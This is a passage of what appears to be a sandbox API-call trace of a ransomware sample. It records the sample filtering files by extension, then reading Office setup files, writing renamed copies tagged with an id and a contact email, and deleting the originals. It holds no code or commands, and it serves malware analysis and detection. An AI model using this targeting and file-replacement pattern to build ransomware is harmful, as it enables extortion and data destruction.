lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0038.504] lstrlenW (lpString=".dbf") returned 4 [0038.504] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0038.504] lstrlenW (lpString=".1cd") returned 4 [0038.504] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.504] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0038.504] lstrlenW (lpString=".jpg") returned 4 [0038.504] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0038.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0038.505] lstrlenW (lpString=".doc") returned 4 [0038.505] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.505] lstrlenW (lpString=".docx") returned 5 [0038.505] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0038.505] lstrlenW (lpString=".pdf") returned 4 [0038.505] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.505] lstrlenW (lpString=".xls") returned 4 [0038.505] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.505] lstrlenW (lpString=".xlsx") returned 5 [0038.505] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0038.505] lstrlenW (lpString=".ppt") returned 4 [0038.505] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0038.505] lstrlenW (lpString=".zip") returned 4 [0038.505] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.505] lstrlenW (lpString=".rar") returned 4 [0038.505] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.505] lstrlenW (lpString=".bz2") returned 4 [0038.505] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.505] lstrlenW (lpString=".7z") returned 3 [0038.505] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0038.505] lstrlenW (lpString=".dbf") returned 4 [0038.505] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0038.505] lstrlenW (lpString=".1cd") returned 4 [0038.505] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.505] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0038.505] lstrlenW (lpString=".jpg") returned 4 [0038.505] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.506] lstrcmpiW (lpString1=".CHM", lpString2=".html") returned -1 [0038.506] lstrlenW (lpString="OCT.CHM") returned 7 [0038.506] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0038.506] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=71236) returned 1 [0038.506] CloseHandle (hObject=0x1c4) returned 1 [0038.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 0x20 [0038.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0038.506] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0038.506] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0038.506] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0038.506] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0038.507] GetLastError () returned 0x0 [0038.507] ReadFile (in: hFile=0x1c4, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x11644, lpOverlapped=0x0) returned 1 [0038.527] WriteFile (in: hFile=0x1d4, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x11650, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x11650, lpOverlapped=0x0) returned 1 [0038.529] ReadFile (in: hFile=0x1c4, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0038.529] WriteFile (in: hFile=0x1d4, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xe2, lpOverlapped=0x0) returned 1 [0038.529] SetEndOfFile (hFile=0x1d4) returned 1 [0038.529] CloseHandle (hObject=0x1d4) returned 1 [0038.531] SetFilePointerEx (in: hFile=0x1c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0038.531] SetEndOfFile (hFile=0x1c4) returned 1 [0038.532] CloseHandle (hObject=0x1c4) returned 1 [0038.532] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0038.532] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 1 [0038.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0038.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0038.532] lstrlenW (lpString=".doc") returned 4 [0038.532] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0038.532] lstrlenW (lpString=".docx") returned 5 [0038.532] lstrcmpiW (lpString1=".docx", lpString2="T.CHM") returned -1 [0038.532] lstrlenW (lpString=".pdf") returned 4 [0038.532] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0038.532] lstrlenW (lpString=".xls") returned 4 [0038.532] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0038.533] lstrlenW (lpString=".xlsx") returned 5 [0038.533] lstrcmpiW (lpString1=".xlsx", lpString2="T.CHM") returned -1 [0038.533] lstrlenW (lpString=".ppt") returned 4 [0038.533] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0038.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0038.533] lstrlenW (lpString=".zip") returned 4 [0038.533] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0038.533] lstrlenW (lpString=".rar") returned 4 [0038.533] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0038.533] lstrlenW (lpString=".bz2") returned 4 [0038.533] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0038.533] lstrlenW (lpString=".7z") returned 3 [0038.533] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0038.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0038.533] lstrlenW (lpString=".dbf") returned 4 [0038.533] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0038.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0038.533] lstrlenW (lpString=".1cd") returned 4 [0038.533] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0038.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0038.533] lstrlenW (lpString=".jpg") returned 4 [0038.533] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0038.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0038.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0038.533] lstrlenW (lpString=".doc") returned 4 [0038.533] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0038.533] lstrlenW (lpString=".docx") returned 5 [0038.533] lstrcmpiW (lpString1=".docx", lpString2="T.CHM") returned -1 [0038.533] lstrlenW (lpString=".pdf") returned 4 [0038.533] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0038.533] lstrlenW (lpString=".xls") returned 4 [0038.533] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0038.534] lstrlenW (lpString=".xlsx") returned 5 [0038.534] lstrcmpiW (lpString1=".xlsx", lpString2="T.CHM") returned -1 [0038.534] lstrlenW (lpString=".ppt") returned 4 [0038.534] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0038.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0038.534] lstrlenW (lpString=".zip") returned 4 [0038.534] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0038.534] lstrlenW (lpString=".rar") returned 4 [0038.534] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0038.534] lstrlenW (lpString=".bz2") returned 4 [0038.534] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0038.534] lstrlenW (lpString=".7z") returned 3 [0038.534] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0038.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0038.534] lstrlenW (lpString=".dbf") returned 4 [0038.534] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0038.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0038.534] lstrlenW (lpString=".1cd") returned 4 [0038.534] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0038.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0038.534] lstrlenW (lpString=".jpg") returned 4 [0038.534] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0038.534] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0038.534] lstrlenW (lpString="OfficeMUI.XML") returned 13 [0038.534] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0038.681] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=5557) returned 1 [0038.681] CloseHandle (hObject=0x1dc) returned 1 [0038.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 0x20 [0038.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0038.682] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0038.682] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0038.682] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0038.682] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0038.682] GetLastError () returned 0x0 [0038.682] ReadFile (in: hFile=0x1dc, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x15b5, lpOverlapped=0x0) returned 1 [0038.684] WriteFile (in: hFile=0x1e0, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x15c0, lpOverlapped=0x0) returned 1 [0038.686] ReadFile (in: hFile=0x1dc, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0038.686] WriteFile (in: hFile=0x1e0, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xee, lpOverlapped=0x0) returned 1 [0038.686] SetEndOfFile (hFile=0x1e0) returned 1 [0038.686] CloseHandle (hObject=0x1e0) returned 1 [0038.687] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0038.687] SetEndOfFile (hFile=0x1dc) returned 1 [0038.688] CloseHandle (hObject=0x1dc) returned 1 [0038.688] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0038.688] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 1 [0038.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0038.688] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0038.688] lstrlenW (lpString=".doc") returned 4 [0038.688] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.688] lstrlenW (lpString=".docx") returned 5 [0038.689] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0038.689] lstrlenW (lpString=".pdf") returned 4 [0038.689] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.689] lstrlenW (lpString=".xls") returned 4 [0038.689] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.689] lstrlenW (lpString=".xlsx") returned 5 [0038.689] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0038.689] lstrlenW (lpString=".ppt") returned 4 [0038.689] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0038.689] lstrlenW (lpString=".zip") returned 4 [0038.689] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.689] lstrlenW (lpString=".rar") returned 4 [0038.689] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.689] lstrlenW (lpString=".bz2") returned 4 [0038.689] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.689] lstrlenW (lpString=".7z") returned 3 [0038.689] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0038.689] lstrlenW (lpString=".dbf") returned 4 [0038.689] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0038.689] lstrlenW (lpString=".1cd") returned 4 [0038.689] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0038.689] lstrlenW (lpString=".jpg") returned 4 [0038.689] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0038.689] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0038.689] lstrlenW (lpString=".doc") returned 4 [0038.689] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.689] lstrlenW (lpString=".docx") returned 5 [0038.690] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0038.690] lstrlenW (lpString=".pdf") returned 4 [0038.690] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.690] lstrlenW (lpString=".xls") returned 4 [0038.690] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.690] lstrlenW (lpString=".xlsx") returned 5 [0038.690] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0038.690] lstrlenW (lpString=".ppt") returned 4 [0038.690] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0038.690] lstrlenW (lpString=".zip") returned 4 [0038.690] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.690] lstrlenW (lpString=".rar") returned 4 [0038.690] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.690] lstrlenW (lpString=".bz2") returned 4 [0038.690] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.690] lstrlenW (lpString=".7z") returned 3 [0038.690] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0038.690] lstrlenW (lpString=".dbf") returned 4 [0038.690] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0038.690] lstrlenW (lpString=".1cd") returned 4 [0038.690] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0038.690] lstrlenW (lpString=".jpg") returned 4 [0038.690] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.690] lstrcmpiW (lpString1=".XML", lpString2=".html") returned 1 [0038.691] lstrlenW (lpString="OfficeMUISet.XML") returned 16 [0038.691] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0038.691] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x21fff1c | out: lpFileSize=0x21fff1c*=819) returned 1 [0038.691] CloseHandle (hObject=0x1dc) returned 1 [0038.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 0x20 [0038.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0038.691] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0038.691] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0038.691] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0038.691] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0038.692] GetLastError () returned 0x0 [0038.692] ReadFile (in: hFile=0x1dc, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x333, lpOverlapped=0x0) returned 1 [0038.693] WriteFile (in: hFile=0x1e0, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0x340, lpOverlapped=0x0) returned 1 [0038.694] ReadFile (in: hFile=0x1dc, lpBuffer=0x3500020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x21ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesRead=0x21ffed4*=0x0, lpOverlapped=0x0) returned 1 [0038.694] WriteFile (in: hFile=0x1e0, lpBuffer=0x3500020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x21ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3500020*, lpNumberOfBytesWritten=0x21ffc9c*=0xf4, lpOverlapped=0x0) returned 1 [0038.694] SetEndOfFile (hFile=0x1e0) returned 1 [0038.694] CloseHandle (hObject=0x1e0) returned 1 [0038.696] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x21ffec8 | out: lpNewFilePointer=0x0) returned 1 [0038.696] SetEndOfFile (hFile=0x1dc) returned 1 [0038.697] CloseHandle (hObject=0x1dc) returned 1 [0038.697] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0038.697] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 1 [0038.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0038.697] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 